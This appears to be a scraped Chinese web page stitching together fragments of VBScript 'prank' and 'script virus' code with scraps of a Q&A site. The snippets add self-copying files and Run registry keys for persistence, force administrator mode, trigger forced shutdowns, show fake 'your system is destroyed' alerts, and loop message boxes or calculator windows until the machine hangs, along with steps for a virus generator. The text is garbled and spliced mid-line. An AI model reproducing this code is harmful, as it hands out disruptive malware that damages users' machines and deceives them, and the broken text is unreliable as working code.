1、代碼如下#39警告#39慎用，點擊否，出現(xiàn)刪除的情況，后果自負(fù)#39請先備份set fso=CreateObjectquotScriptingFileSystemObjectquotset ws=CreateObjectquotwscriptshellquotk=MsgBoxquot您是否現(xiàn)在安裝quot，vbyesno，quot溫馨提；wsregwrite quotHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\TARGETDIR腳本病毒加強版vbsquot，quotRUNASADMINquot，quotREG_SZquotwsregwrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\P；Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四個 #39這個很強悍的vbs，藍屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；fWriteLineVBS #39寫文件內(nèi)容，該命令功能太簡單，目前看來只能用于TXT文件 f；02 然后我們用Sublime打開vbs程序文件，在里面借助loop循環(huán)來不斷的輸出msgbox，如下圖所示 03 接下來我們雙擊vbs程序文件，運行上面編寫的整人程序，你會看到如下圖所示的彈窗效果，我們點擊確定以后會不斷的彈窗 04；fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。

2、4在請輸入保存路徑文本框中輸入腳本病毒文件存放的位置后，單擊我要生成按鈕彈出提示框，提示用戶生成完畢5在制作成功后，打開設(shè)置保存的位置，即可看到生成的VBS腳本文件6右擊該文件，在彈出的快捷菜單中；Msgbox quot您的系統(tǒng)已遭病毒破壞，系統(tǒng)5秒后將自動關(guān)機關(guān)機，請在關(guān)機后24小時重新啟動quot，16+4096，quotWindows安全警報quotShell quotcmdc shutdown s t 5quot佛祖曰普度眾生，這樣就行 后面那一句代碼是用來關(guān)機的，VBS代；vbs解包代碼20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS；vbs整人代碼要可以用的 我直接COPY到記事本里，所以別打錯了 #xE768 我來答 1個回答 #熱議# 公司那些設(shè)施可以提高員工幸福感？Hi村長 20100908 · TA獲得超過247個贊 知道答主 回答量57 采納率0% 幫助的人355萬。

3、1首先在電腦鼠標(biāo)右鍵 新建一個文本文檔2然后點開文本文檔進行編輯，最重要的一個代碼就是msgbox，然后在后面添加想要說的話，但是要使用英文標(biāo)點符號，換行時候都需要在前面加上代碼，最后保存3保存好之后，對這個；wssendkeysquot%F4quot#39每次循環(huán)等待時間3000=3秒，以毫秒為單位的 wscriptsleep 3000 loop 想要停止它可新建文本mtxt改名mbat右擊編輯輸入 taskkill f im wscriptexe pause 保存 當(dāng)需要停止vbs時執(zhí)行一下m；=HKEY_CLASSES_ROOT\CLSID\2559a1f621d711d4bdaf00c04f60b9f0\Instance\InitPropertyBagquotCommandquot= quotParam1quot=VBS腳本實現(xiàn)整理磁盤碎片功能Set WshShell = WScriptCreateObjectquotWScriptShellquotDim fso， d。

4、xxvbs= 復(fù)制代碼 代碼如下On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot與 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wsh；xufsocopyfile WscriptScriptfullname，quotC\VBScript\一觸即發(fā)vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一觸即發(fā)vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current；代碼一無限彈出信息框 雙引號內(nèi)可以自行修改 do msgbox quot愛邱哥愛生活quotloop 代碼二打開N個計算器，到電腦死機 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代碼三電腦關(guān)機 dim WSHshell set。

5、*Rnd+1msgbox joinpoint，quotquot25VBS刪除桌面IE圖標(biāo)非快捷方式。